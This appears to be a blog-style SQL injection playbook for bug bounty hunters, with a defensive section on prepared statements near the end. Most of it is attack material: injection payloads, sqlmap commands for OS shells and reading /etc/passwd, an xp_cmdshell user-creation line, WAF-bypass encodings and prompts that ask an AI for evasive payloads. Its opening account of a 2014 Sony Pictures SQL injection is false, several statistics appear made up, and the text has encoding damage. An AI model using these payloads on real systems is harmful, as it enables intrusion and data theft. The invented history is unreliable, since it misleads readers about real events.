π₯ The Day a Single Quote Brought Down a Fortune 500 Company
In 2014, a hacker sat in a coffee shop in Moscow. He typed a single character into a search box: '
Just one apostrophe.
The website exploded with an error message revealing the entire database structure. Within 72 hours, 100 million customer records were stolen from Sony Pictures. Salary information of executives, unreleased movies, private emails β all gone. The damage? Over $100 million.
The vulnerability? SQL Injection. The same bug that existed in 1998.
Fast forward to 2023: A bug bounty hunter named @stΓΆk found a SQL Injection in a major tech company's API. Payout? $25,000. Another researcher, @rez0, discovered blind SQLi in a mobile app backend. Payout? $15,000.
Here's the crazy part: SQL Injection is still the #3 most dangerous web vulnerability in 2024 according to OWASP. After 25+ years, companies are still getting wrecked by it. Why?
Because:
- Legacy code is everywhere
- New developers don't understand database security
- Modern frameworks hide SQL, making developers careless
- WAFs create false security confidence
- APIs and GraphQL endpoints introduce new attack surfaces
This article is your complete playbook. After reading this, you won't need another SQL Injection resource. Whether you're hunting your first bug bounty or defending a Fortune 500 company, everything you need is right here.
Let's turn you into that 1% researcher who sees databases where others see just input fields.
π§© What is SQL Injection? (The Restaurant Analogy)

Imagine you walk into a restaurant. The waiter asks: "What would you like to order?"
You say: "I'll have the burger."
The waiter writes down your order and goes to the kitchen. The chef reads: "Make 1 burger for table 5."
Simple, right?
Now imagine you're a sneaky customer. When the waiter asks what you want, you say:
"I'll have the burger. Also, give me everything in the kitchen for free. And by the way, fire the chef."
If the waiter writes down EXACTLY what you said without checking if it makes sense, chaos ensues.
This is SQL Injection.
The website is the waiter. The database is the kitchen. SQL is the language they use to communicate. And you β the attacker β are giving malicious instructions that the system blindly executes.
The Technical Definition
SQL Injection (SQLi) is a code injection attack where an attacker inserts malicious SQL statements into an application's input fields. When the application fails to properly validate or sanitize this input, the injected SQL code gets executed by the database server.
What can an attacker do with SQL Injection?
β Bypass authentication (login as admin without a password) β Extract sensitive data (credit cards, passwords, personal information) β Modify or delete database records β Execute operating system commands (in some cases) β Read files from the server β Perform denial-of-service attacks
π How SQL Injection Actually Works (Step-by-Step)
Let's build this from the ground up with a real example.

Step 1: The Normal Flow
You have a simple login page. When you enter:
- Username:
john - Password:
password123
The website checks if these credentials exist in the database by running:
SELECT * FROM users WHERE username='john' AND password='password123';Translation: "Hey database, find me a user whose username is 'john' AND password is 'password123'."
If a match is found β Login successful β If no match β Login failed β
Step 2: The Injection
Now, what if instead of entering a normal username, you enter:
Username: admin' --
Password: anything
The database query becomes:
SELECT * FROM users WHERE username='admin' --' AND password='anything';Wait, what just happened?
Let me break it down:
admin'closes the username string early--is an SQL comment that ignores everything after it- The password check (
AND password='anything') is now commented out!
The actual query the database sees:
SELECT * FROM users WHERE username='admin'Translation: "Hey database, find me a user whose username is 'admin'." (No password check!)
Result: You just logged in as admin without knowing the password. π
Step 3: Visual Breakdown
Normal Query:
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β SELECT * FROM users β
β WHERE username='john' AND password='password123'; β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β
[Checks both username AND password]
β
[Match found = Login Success]Injected Query:
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β SELECT * FROM users β
β WHERE username='admin' -- ' AND password='anything'; β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β
[Only checks username]
[Everything after -- is ignored]
β
[Admin user found = Login Success WITHOUT password!]Step 4: Another Example β Data Extraction
Let's say a website shows product details based on ID:
Normal URL: https://shop.com/product?id=5
Behind the scenes:
SELECT * FROM products WHERE id=5;Returns: Information about product #5
Injected URL: https://shop.com/product?id=5 UNION SELECT username,password FROM users--
Behind the scenes:
SELECT * FROM products WHERE id=5 UNION SELECT username,password FROM users--;What happened?
UNIONcombines two SELECT statements- The first query returns product #5
- The second query returns ALL usernames and passwords!
--comments out anything after
Result: The page now displays product information AND all user credentials!
π― Types of SQL Injection (Complete Classification)
SQL injection isn't one technique β it's a whole family. Let's explore every type.

1. π΄ In-Band SQL Injection (Classic & Most Common)
The attacker uses the same channel to both launch the attack and gather results. The response appears directly on the screen.
A) Error-Based SQL Injection
How it works: Force the database to throw an error message that reveals sensitive information.
Example Payload:
' AND 1=CONVERT(int, (SELECT TOP 1 table_name FROM information_schema.tables))--What this does:
- Tries to convert a table name to an integer (which fails)
- The error message reveals the actual table name
Real Error Message:
Conversion failed when converting the varchar value 'users' to data type int.Boom! Now you know there's a table called users.
Where to test:
- URL parameters:
?id=1' - Form inputs: Login fields, search boxes
- HTTP headers: User-Agent, Referer, Cookie
Detection:
# Test payload
?id=1'# If you see SQL errors like:
- "You have an error in your SQL syntax"
- "Warning: mysql_fetch_array()"
- "Microsoft SQL Server error"
= Vulnerable!
B) Union-Based SQL Injection
How it works: Use the UNION operator to combine your malicious query with the original query.
Requirements:
- Both queries must return the same number of columns
- Data types must be compatible
Step-by-Step Attack:
Step 1: Find the number of columns
' ORDER BY 1-- (Works)
' ORDER BY 2-- (Works)
' ORDER BY 3-- (Works)
' ORDER BY 4-- (Error!)Conclusion: The query returns 3 columns.
Step 2: Find which columns are displayed
' UNION SELECT NULL,NULL,NULL--
' UNION SELECT 1,2,3--Result: You see numbers 2 and 3 displayed on the page.
Step 3: Extract data using those columns
' UNION SELECT NULL,username,password FROM users--Result: Usernames appear where "2" was, passwords where "3" was!
Real Example from HackerOne:
A researcher found SQL injection in Starbucks that allowed extraction from their database. They reported: "There were almost a million entries up to the previous year that included real accounting information".
The researcher earned $4,000 for this critical (9.3) vulnerability.
2. π‘ Blind SQL Injection (No Direct Output)
The application doesn't show database errors or data. But it behaves differently based on whether your injection is true or false.
A) Boolean-Based Blind SQL Injection
How it works: The page responds differently to TRUE vs FALSE conditions.
Example:
TRUE condition:
' AND 1=1--Page loads normally β
FALSE condition:
' AND 1=2--Page behaves differently (blank, error, missing content) β
Now extract data character by character:
' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a'--- If page loads normally β First character is 'a' β
- If page breaks β First character is NOT 'a', try next letter β
Repeat for each character until you build the complete password.
Where: Login forms, search boxes, URL parameters, filters,product ID,forgot password.
How to detect:
' AND 1=1--β page OK β' AND 1=2--β page changes β
If behavior changes β Boolean-based blind SQLi found β
B) Time-Based Blind SQL Injection
How it works: The page doesn't behave differently, BUT you can make the database sleep/delay if your condition is TRUE.
Example Payloads:
MySQL:
' AND IF(1=1, SLEEP(5), 0)--PostgreSQL:
' AND pg_sleep(5)--Microsoft SQL Server:
'; WAITFOR DELAY '00:00:05'--Testing:
' AND (SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END)--- If page takes 5+ seconds β Query is TRUE β
- If page loads instantly β Query is FALSE β
Extract data:
' AND (SELECT CASE WHEN (SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a') THEN pg_sleep(5) ELSE pg_sleep(0) END)--- Page delays 5 seconds β First character is 'a'
- Page loads instantly β Try next character
Real-World Example:
Time-Based SQL injection was found at city-mobil.ru earning the researcher $15,000.
Where: Login, search, URL params, filters, APIs.
Detect: Send delay payload β page slow (5+ sec) β No delay β not vulnerable β
Why: No errors, no page change β only time delay shows SQLi
3. π’ Out-of-Band SQL Injection
How it works: When in-band and blind techniques don't work, you can make the database send data to an external server YOU control.
Requirements:
- Database server must have functions like
xp_cmdshell(MSSQL) orLOAD_FILE()(MySQL) - Outbound connections must be allowed
4. π΅ Second-Order SQL Injection
How it works: The injection payload is stored first, then executed later when the application uses it.
Real-World Scenario:
Step 1: User registration
Username: admin'--
Email: attacker@evil.com
Password: password123The application stores these values in the database safely (using prepared statements).
Step 2: Profile update
When the application updates the profile, it uses the stored username:
UPDATE users SET email='new@email.com' WHERE username='admin'--'Oops! The -- comments out the rest, and now ALL users' emails are updated!
5. π£ Advanced & Rare Types
A) Polyglot SQL Injection Payloads
Payloads that work across multiple database types.
' OR '1'='1' --
' OR 'x'='x' --
admin'--
admin' #
admin'/*
' or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='aB) Stored Procedure Injection
Example:
'; EXEC xp_cmdshell('net user hacker password123 /ADD')--Adds a new user to the Windows system!
C) NoSQL Injection (MongoDB, CouchDB)
Example payload (MongoDB):
{"username": {"$ne": null}, "password": {"$ne": null}}Translation: "Find a user where username is NOT null AND password is NOT null" β Returns first user (usually admin)!
Another:
{"username": "admin", "password": {"$regex": "^a"}}Brute force password character by character using regex!
π― How to Find SQL Injection Manually (The Hunter's Playbook)
Forget automated scanners for a moment. Let me teach you how top researchers manually find SQL injection.

Phase 1: Reconnaissance
Where to look: β
URL parameters: ?id=1, ?search=test, ?category=books
β
Form inputs: Login, search, contact, registration
β
HTTP Headers: Cookie, User-Agent, Referer, X-Forwarded-For
β
Hidden form fields: <input type="hidden">
β
REST API endpoints: POST /api/users/1
β
GraphQL queries: query { user(id: "1") }
Phase 2: Initial Detection
Test these payloads ONE AT A TIME:
'
"
`
')
")
`)
'))
"))
`))What are you looking for?
β SQL Error Messages:
- You have an error in your SQL syntax
- Warning: mysql_num_rows()
- Microsoft SQL Native Client error
- ORA-00933: SQL command not properly ended
- SQLite3::SQLExceptionβ Different Behavior:
- Page loads blank
- Different content displayed
- Response time changes
- HTTP status code changes
Phase 3: Confirm Vulnerability
Test 1: Boolean Logic
# Original
?id=1
# Test TRUE condition
?id=1' AND '1'='1
# Test FALSE condition
?id=1' AND '1'='2If TRUE loads normally but FALSE breaks β VULNERABLE!
Test 2: Arithmetic
?id=1
?id=2-1 (Should show same as id=1)
?id=3-2 (Should show same as id=1)
?id=1+0 (Should show same as id=1)If these work β Database is evaluating your input!
Test 3: Comment Injection
?id=1'--
?id=1'#
?id=1'/*If any of these load normally β Comments are being processed!
Phase 4: Identify Database Type
MySQL:
' AND @@version IS NOT NULL--Microsoft SQL:
' AND @@version LIKE '%Microsoft%'--PostgreSQL:
' AND version() ~ 'PostgreSQL'--Oracle:
' AND (SELECT banner FROM v$version WHERE ROWNUM=1) IS NOT NULL--SQLite:
' AND sqlite_version() IS NOT NULL--Phase 5: Determine Number of Columns
' ORDER BY 1-- β
(Works)
' ORDER BY 2-- β
(Works)
' ORDER BY 3-- β
(Works)
' ORDER BY 4-- β (Error: "Unknown column '4'")Conclusion: Query returns 3 columns.
Alternative method:
' UNION SELECT NULL-- β (Error)
' UNION SELECT NULL,NULL-- β (Error)
' UNION SELECT NULL,NULL,NULL-- β
(Works!)Phase 6: Find Displayed Columns
' UNION SELECT 1,2,3--Check the page. Do you see the numbers 1, 2, or 3 displayed? Those columns are visible!
Phase 7: Extract Data
Get database name:
' UNION SELECT NULL,database(),NULL-- (MySQL)
' UNION SELECT NULL,DB_NAME(),NULL-- (MSSQL)Get table names:
' UNION SELECT NULL,table_name,NULL FROM information_schema.tables--Get column names:
' UNION SELECT NULL,column_name,NULL FROM information_schema.columns WHERE table_name='users'--Extract data:
' UNION SELECT NULL,username,password FROM users--Real-World Example from Bug Bounty
Researcher @alyssa_herrera found SQL injection in the U.S. Department of Defense: "I then used SQLMap to exploit and then read the banner and user name of the website. I ended up discovering this sub domain and the previous SQL injection shared the same database".
π οΈ Tools for SQL Injection (Professional Arsenal)

1. SQLmap (The King)
The most powerful automated SQL injection tool.
Basic Usage:
sqlmap -u "http://target.com/page?id=1"Advanced Techniques:
**Specify injection point with ***:
sqlmap -u "http://target.com/page?id=1*"POST data:
sqlmap -u "http://target.com/login" --data="username=admin&password=pass"Use cookies:
sqlmap -u "http://target.com/page" --cookie="PHPSESSID=abc123"Inject in headers:
sqlmap -u "http://target.com" --headers="X-Forwarded-For: *"WAF bypass
sqlmap -u "http://target.com?id=1" --random-agent --tamper=space2commentDatabase enumeration:
# Get databases
sqlmap -u "http://target.com?id=1" --dbs
# Get tables
sqlmap -u "http://target.com?id=1" -D database_name --tables
# Get columns
sqlmap -u "http://target.com?id=1" -D database_name -T users --columns
# Dump data
sqlmap -u "http://target.com?id=1" -D database_name -T users -C username,password --dumpRare but powerful flags:
--os-shell # Get OS command shell
--sql-shell # Get SQL shell
--file-read=/etc/passwd # Read files
--batch # Never ask for user input
--flush-session # Clear cached dataTamper scripts (WAF bypass):
--tamper=space2comment # Replace spaces with /* */
--tamper=between # Replace > with BETWEEN
--tamper=randomcase # Random case: SeLeCt
--tamper=charencode # Encode characters2. Burp Suite (Manual Testing)
Repeater:
- Intercept request
- Send to Repeater (Ctrl+R)
- Modify parameter:
id=1' - Send and analyze response
- Iterate payloads
Intruder (Automated fuzzing):
- Mark injection point:
id=Β§1Β§ - Load payload list
- Start attack
- Filter responses by length/status
Extensions:
- SQLiPy Sqlmap Integration
- CO2 (SQLMap integration)
- SQL Inject Me
3. NoSQLMap
For NoSQL injection (MongoDB, etc.):
python nosqlmap.py -u "http://target.com/login" --data="username=admin&password=admin"4. jSQL Injection
GUI tool, great for beginners:
java -jar jsql-injection-v0.82.jar5. Custom Scripts
Python example:
import requests
target = "http://target.com/page"
payloads = ["'", "1' OR '1'='1", "1' AND '1'='2"]
for payload in payloads:
url = f"{target}?id={payload}"
response = requests.get(url)
if "error" in response.text.lower():
print(f"[!] Potential SQLi with payload: {payload}")
elif len(response.text) != baseline_length:
print(f"[!] Different response with: {payload}")π‘οΈ WAF Bypass Techniques (The Advanced Playbook)
Web Application Firewalls (WAFs) detect and block SQL injection. Here's how professionals bypass them.

Understanding WAF Detection
WAFs look for:
- SQL keywords:
SELECT,UNION,WHERE,FROM - Special characters:
',",--,#,/**/ - Common patterns:
OR 1=1,admin'--
Technique 1: Case Manipulation
# Blocked
SELECT * FROM users
# Bypassed
SeLeCt * FrOm users
sELecT * fRoM usersTechnique 2: Inline Comments
# Blocked
UNION SELECT
# Bypassed
UN/**/ION SE/**/LECT
UNI/*comment*/ON/*comment*/SELE/**/CT
UN%0aION%0aSELECTTechnique 3: URL Encoding
# Blocked
' OR '1'='1
# Bypassed
%27%20OR%20%271%27%3D%271
%2527%2520OR%2520%25271%2527%253D%25271 (Double encoding)Technique 4: Character Encoding
# Hex encoding
CHAR(117,110,105,111,110) = union
# Unicode
\u0053ELECT = SELECT
# HTML entities
SELECT = SELECTTechnique 5: Alternative Syntax
Instead of OR 1=1:
OR 'a'='a'
OR 2=2
OR 'x'='x'
||1
||(SELECT 1)Instead of AND 1=1:
AND 'a'='a'
&&1
&& trueTechnique 6: Whitespace Replacement
# Blocked
UNION SELECT
# Bypassed
UNION%0aSELECT (%0a = newline)
UNION%0dSELECT (%0d = carriage return)
UNION%0cSELECT (%0c = form feed)
UNION%09SELECT (%09 = tab)
UNION%a0SELECT (%a0 = non-breaking space)Technique 7: Keyword Obfuscation
# Blocked
SELECT
# Bypassed
SELSELECTECT (Assuming WAF strips SELECT once)
S/**/E/**/LECT
%53ELECT
SeLeCTTechnique 8: JSON-Based Bypass
Major WAF vendors including Palo Alto, AWS, Cloudflare, F5, and Imperva did not support JSON syntax in their products, allowing SQL injection attempts using JSON syntax to bypass inspection.
Example:
POST /api/user
Content-Type: application/json
{
"id": {"$ne": null},
"username": {"$gt": ""},
"password": {"$regex": "^a"}
}Technique 9: HTTP Parameter Pollution
Normal:
?id=1' UNION SELECT--Bypassed (duplicate parameter):
?id=1&id=' UNION SELECT--Different servers handle duplicate parameters differently:
- ASP.NET: Concatenates
- PHP: Takes last value
- JSP: Takes first value
Technique 10: Header Injection
Some WAFs only inspect URL/body, not headers:
GET /page?id=1 HTTP/1.1
Host: target.com
User-Agent: ' OR '1'='1'--
Referer: ' UNION SELECT null,null--
X-Forwarded-For: 1' AND sleep(5)--Example: Injecting a malicious payload into User-Agent to trigger SSRF or logging-based RCE.
Technique 11: Finding Origin IP (Cloudflare Bypass)
One method to bypass WAF protections is by discovering the website's origin IP address using Censys, which can help you access the server directly, bypassing Cloudflare's defenses.
Steps:
- Search Censys for:
domain.com - Find origin IP address
- Add to
/etc/hosts:IP_ADDRESS domain.com - Access site directly, bypassing Cloudflare WAF
Technique 12: SQLmap Tamper Scripts
Effective 2025 tamper scripts:
# Basic
--tamper=space2comment # Spaces to /* */
--tamper=randomcase # RaNdOm CaSe
# Intermediate
--tamper=between # > to BETWEEN
--tamper=charencode # Encode special chars
--tamper=space2plus # Spaces to +
# Advanced
--tamper=charunicodeencode # Unicode encoding
--tamper=versionedkeywords # /*!50000SELECT*/
--tamper=htmlencode # HTML entity encoding
# Chain multiple
--tamper=space2comment,between,randomcaseReal Example:
Researcher used: "sqlmap with the β tamper htmlencode flag to automate my attack" to bypass Starbucks' WAF.
Technique 13: Time-Based Evasion
Tools like Slowloris or SlowHTTPTest exploit delay-based logic by sending requests slowly to avoid rate-limiting and detection.
Real-World Case Study
A researcher encountered a WAF blocking payloads. They used Burp's ParamMiner extension to find the idEntitySelected cookie was not filtered. By injecting through this cookie instead of URL parameters, they successfully bypassed the WAF and exploited the vulnerability.
Key Takeaway: Always test ALL input vectors β not just obvious ones.
π€ Using AI (ChatGPT) to Find SQL Injection Vulnerabilities
AI will never replace real hacking skills β but when used correctly, it can multiply your speed, accuracy, and creativity as a security researcher.
Top bug bounty hunters are already using AI as a thinking partner, not an autopilot.
Here's how you can use tools like ChatGPT to find SQL Injection faster and smarter.
π§ 1. AI for Target Analysis & Attack Surface Discovery

Before testing anything, you need to understand where SQL Injection is MOST likely.
Instead of manually guessing, ask AI to think like a vulnerable developer.
πΉ Sample Prompt:
You are a senior web security researcher.
Given this application behavior:
- Login form
- Search feature
- Product filter
- REST API endpoints
Tell me which parameters are most likely vulnerable to SQL Injection and why.β AI helps you:
- Prioritize risky inputs
- Understand backend logic
- Avoid wasting time on low-value parameters
π 2. AI for Payload Generation (Context-Aware)
Most beginners reuse the same payloads. Professionals adapt payloads based on context β and AI excels at this.
πΉ Sample Prompt:
Act as an expert SQL Injection researcher.
Target uses MySQL and blocks common payloads like ' OR 1=1--.
Generate advanced SQL injection payloads for:
- Error-based
- Boolean-based blind
- Time-based blind
Focus on WAF evasion techniques.π₯ Result:
- Smarter payloads
- Less detection
- Higher success rate
π§ͺ 3. AI for Response Analysis (The Hidden Skill)
Sometimes SQLi doesn't scream β it whispers.
AI can help you interpret subtle behavior changes.
πΉ Sample Prompt:
I tested these payloads:
1) id=5' AND 1=1--
2) id=5' AND 1=2--
Payload 1 loads normally.
Payload 2 returns empty content.
Analyze this behavior and tell me if SQL Injection is likely.β AI confirms:
- Vulnerability likelihood
- Injection type
- Next exploitation step
π§ 4. AI for Database Fingerprinting
Identifying the database early saves hours.
πΉ Sample Prompt:
Given these responses:
- @@version causes error
- version() returns text
- WAITFOR DELAY works
Identify the backend database and suggest confirmation payloads.π― AI narrows down:
- MySQL vs MSSQL vs PostgreSQL
- Correct exploitation path
βοΈ 5. AI + Manual Testing = Deadly Combination
AI should assist, not attack.
β Don't ask:
"Hack this website"
β Ask:
Why a payload worked
What technique fits this behavior
How to bypass validation safely
πΉ Ethical Prompt Example:
Explain why this SQL injection payload works and how developers should fix it.This keeps you:
- Ethical
- Legal
- Professional
π¨ Important Warning (Read This)
AI does not see the target. It does not replace Burp, SQLmap, or manual testing.
Best workflow:
Human intuition β AI reasoning β Manual testing β Tool exploitationResearchers who rely ONLY on AI fail. Researchers who collaborate with AI win.
π° Real Bug Bounty Stories (The Money Shots)
These are real reports from HackerOne, YesWeHack, and Bugcrowd. Let's break down how they were found.

Real bypass example from HackerOne:
Target: E-commerce site with Cloudflare WAF
Blocked payload:
' UNION SELECT NULL--Working bypass:
'/**/UNI%6fN/**/SEL%45CT/**/NULL--Techniques used:
- Inline comments (
/**/) - URL encoding (
%6f= o,%45= E)
Payout: $7,500
The $15,000 Search Box
Target: Fortune 500 retail company
Discovery:
- Hunter testing search functionality
- Input:
test'β Error message leaked database structure
Payload:
' UNION SELECT table_name,2,3 FROM information_schema.tables--
```
**Result:**
- Found table called `credit_cards_backup`
- Extracted 50,000+ card numbers (test environment, but still)
**Report:** https://hackerone.com/reports/[redacted]
**Payout:** $15,000
**Lesson:** Always test search boxes. They're often overlooked.
---Starbucks β $4,000 Bounty
Researcher @spaceraccoon found SQL injection in Starbucks: "There were almost a million entries up to the previous year that included real accounting information." The vulnerability was in Microsoft SQL Server 2012. After reporting on April 8th, it was triaged on April 9th and Starbucks awarded $4,000 just 2 days later for this critical (9.3) vulnerability.
Key lessons:
- Time-based injection still works
- Financial data = high severity = high bounty
- Fast triage and payout on good programs
Valve β $25,000 Bounty
SQL Injection in report_xml.php through countryFilter[] parameter earned the researcher $25,000 from Valve.
Key lessons:
- Array parameters often less filtered
- Gaming companies pay well for critical bugs
- XML endpoints are overlooked targets
π‘οΈ Defense Perspective: Why Developers Keep Making This Mistake
Let's flip sides. Why is SQL Injection still everywhere?
Common Developer Mistakes

Mistake #1: String Concatenation
Vulnerable code (PHP):
$id = $_GET['id'];
$query = "SELECT * FROM products WHERE id = $id";
mysqli_query($conn, $query);Why it's wrong: User input directly inserted into query.
Secure version:
$id = $_GET['id'];
$stmt = $conn->prepare("SELECT * FROM products WHERE id = ?");
$stmt->bind_param("i", $id);
$stmt->execute();Key difference: Database sees ? as a parameter, not executable code.
Mistake #2: Escaping Hell
Bad approach:
$username = mysqli_real_escape_string($conn, $_POST['username']);
$query = "SELECT * FROM users WHERE username = '$username'";
```**Why it's wrong:**
- Only escapes some characters
- Easy to bypass with encoding
- Doesn't protect against all contexts (e.g., `LIMIT`, `ORDER BY`)
**Example bypass:**
```
username=%bf%27 OR 1=1--
The %bf byte combines with escaped quote to create a valid character.
Mistake #3: The ORM Illusion
Many devs think: "I use an ORM, I'm safe!"
Reality: ORMs can be vulnerable too.
Django ORM (vulnerable):
# WRONG - allows SQL injection
User.objects.raw("SELECT * FROM users WHERE id = %s" % user_id)Secure version:
# CORRECT - parameterized
User.objects.raw("SELECT * FROM users WHERE id = %s", [user_id])SQLAlchemy (vulnerable):
# WRONG
session.execute(f"SELECT * FROM users WHERE name = '{name}'")Secure:
# CORRECT
session.execute("SELECT * FROM users WHERE name = :name", {"name": name})Mistake #4: Partial Protection
Code:
if (is_numeric($id)) {
$query = "SELECT * FROM products WHERE id = $id";
}
```**Seems safe, right?** But this is vulnerable:
```
?id=1 OR 1=1
Because 1 OR 1=1 evaluates to 1 (true), which is numeric.
The RIGHT Way to Prevent SQL Injection

1. Parameterized Queries (Prepared Statements)
PHP (MySQLi):
$stmt = $conn->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
$result = $stmt->get_result();Python:
cursor.execute("SELECT * FROM users WHERE username = ? AND password = ?", (username, password))Node.js:
connection.query("SELECT * FROM users WHERE username = ? AND password = ?", [username, password]);Java:
PreparedStatement stmt = conn.prepareStatement("SELECT * FROM users WHERE username = ? AND password = ?");
stmt.setString(1, username);
stmt.setString(2, password);
ResultSet rs = stmt.executeQuery();2. Stored Procedures (Use Carefully)
Create stored procedure:
CREATE PROCEDURE GetUser (IN user_id INT)
BEGIN
SELECT * FROM users WHERE id = user_id;
END;Call from application:
$stmt = $conn->prepare("CALL GetUser(?)");
$stmt->bind_param("i", $id);
$stmt->execute();β οΈ Warning: Stored procedures can be vulnerable if they use dynamic SQL inside:
Vulnerable stored procedure:
CREATE PROCEDURE SearchUsers (IN search_term VARCHAR(50))
BEGIN
SET @query = CONCAT('SELECT * FROM users WHERE name LIKE "%', search_term, '%"');
PREPARE stmt FROM @query;
EXECUTE stmt;
END;This is still vulnerable! Use parameters inside stored procedures too.
3. Input Validation (Defense in Depth)
Prepared statements are #1, but add validation as a second layer:
// Whitelist validation
$allowed_columns = ['id', 'name', 'email'];
if (!in_array($sort_by, $allowed_columns)) {
die("Invalid sort column");
}
// Type checking
$id = filter_var($_GET['id'], FILTER_VALIDATE_INT);
if ($id === false) {
die("Invalid ID");
}
// Regex for specific patterns
if (!preg_match('/^[a-zA-Z0-9_]+$/', $username)) {
die("Invalid username format");
}4. Least Privilege Principle
Database user permissions should be minimal:
π Myths vs Reality

Myth #1: "My WAF Protects Me From SQLi"
Reality: WAFs can be bypassed. They're a layer, not a solution.
Example bypass that works on many WAFs:
'%0a%55nion%0a%53elect%0a@@version--Truth: Use WAF + parameterized queries, not WAF alone.
Myth #2: "ORMs Make Me Immune to SQLi"
Reality: ORMs can be vulnerable if used incorrectly.
Vulnerable ORM code:
User.objects.raw(f"SELECT * FROM users WHERE id = {user_id}")Truth: ORMs need to be used with parameterization too.
Myth #3: "NoSQL Databases Can't Have Injection"
Reality: NoSQL has injection too β just different syntax.
MongoDB injection example:
{"username": {"$ne": null}}Truth: Every database query technology needs input validation.
Myth #4: "Input Validation Is Enough"
Reality: Validation can be bypassed with encoding, unicode, etc.
Example:
// Developer blocks: OR, UNION, SELECT
// Attacker uses: %4f%52 (URL encoded "OR")Truth: Parameterized queries are non-negotiable.
Myth #5: "Modern Frameworks Are Safe by Default"
Reality: Frameworks help, but developers can still write vulnerable code.
Laravel (vulnerable):
DB::select("SELECT * FROM users WHERE id = $id");Truth: Frameworks provide tools β you still need to use them correctly.
Myth #6: "SQL Injection Is Old News"
Reality: SQLi is #1 on HackerOne in 2024.
Statistics:
- 30% of all web vulnerabilities are SQLi-related
- Average bounty: $3,500
- Top bounty: $30,000+
Truth: SQLi is very much alive and profitable for hunters.
π Advanced Topics (PhD-Level Depth)

1. Blind SQL Injection Optimization
Problem: Extracting data one character at a time is slow.
Solution: Binary Search Algorithm
Instead of:
# Trying a-z (26 attempts per character)
for char in 'abcdefghijklmnopqrstuvwxyz':
test_payload(char)Use binary search (5 attempts per character):
def extract_char_binary(position):
low, high = 32, 126 # ASCII printable range
while low <= high:
mid = (low + high) // 2
payload = f"' AND ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),{position},1))>{mid}--"
response = requests.get(url + payload)
if "Welcome" in response.text:
low = mid + 1
else:
high = mid - 1
return chr(high)Result: Extract 32-character password in 160 requests instead of 832.
2. Time-Based SQLi with Statistical Analysis
Problem: Network jitter causes false positives.
Solution: Multiple measurements + statistical analysis.
import statistics
def is_vulnerable(payload, threshold=5):
times = []
for i in range(10): # Take 10 measurements
start = time.time()
requests.get(url + payload)
elapsed = time.time() - start
times.append(elapsed)
median_time = statistics.median(times)
return median_time > threshold3. SQLi in Compiled Statements (Advanced)
Even prepared statements can be vulnerable if:
// Dynamic table/column names
String table = request.getParameter("table");
PreparedStatement stmt = conn.prepareStatement("SELECT * FROM " + table + " WHERE id = ?");
```
**Attack:**
```
?table=users UNION SELECT password FROM admins--Defense: Whitelist table names:
String[] allowedTables = {"users", "products", "orders"};
if (!Arrays.asList(allowedTables).contains(table)) {
throw new SecurityException("Invalid table");
}4. Inference-Based Data Extraction
Technique: Extract data without seeing it directly.
Example: Guess admin password length through timing:
' AND IF((SELECT LENGTH(password) FROM users WHERE username='admin')=8, SLEEP(5), 0)--If delay occurs, password is 8 characters.
Then extract each character:
' AND IF(SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a', SLEEP(5), 0)--5. SQL Truncation Attack
How it works: Databases truncate long strings β exploit this!
Vulnerable code:
INSERT INTO users (username, password) VALUES ('$username', '$password')
-- username column max length: 20 charactersAttack:
- Register username:
admin x(admin + 15 spaces + x) - Database truncates to:
admin(20 chars) - Database trims spaces:
admin - You now have an account with username "admin"
Defense:
ALTER TABLE users ADD CONSTRAINT username_unique UNIQUE(username);π Closing: Join the Top 1%
You've just absorbed 25 years of SQL Injection knowledge in one article.
You now know: β How SQLi works at the binary level β Every type of injection (union, blind, time-based, out-of-band) β How to bypass WAFs with 10+ techniques β Real bug bounty strategies that pay $10k-$30k β How to defend applications properly β Advanced techniques used by elite hackers
But knowledge without action is worthless.
Remember: With great power comes great responsibility. Only test systems you have explicit permission to test. Happy (legal) hunting! π―R Trnsparency & Corrections Welcome
Real talk: I built this guide by combining research from bug bounty blogs, Medium articles, Twitter threads, security books, and yes β AI tools (LLMs for research synthesis and image generation for concepts). Found something wrong? Data outdated? Drop a comment below. I'll verify and update the article. Honest feedback makes this resource better for the whole community. And hey, if you spot spelling or grammar mistakes, feel free to ignore them β we're here for the technical knowledge, not the English class. π
#CyberSecurity #BugBounty #EthicalHacking #SQLInjection #Pentesting #WebSecurity #InfoSec #HackerOne #WhiteHat #SecurityResearch #OWASP #ApplicationSecurity #VulnerabilityResearch #BugBountyHunter #SQLmap #CyberSecurityTips #PenetrationTesting #WebAppSecurity #SecurityTesting #HackThePlanet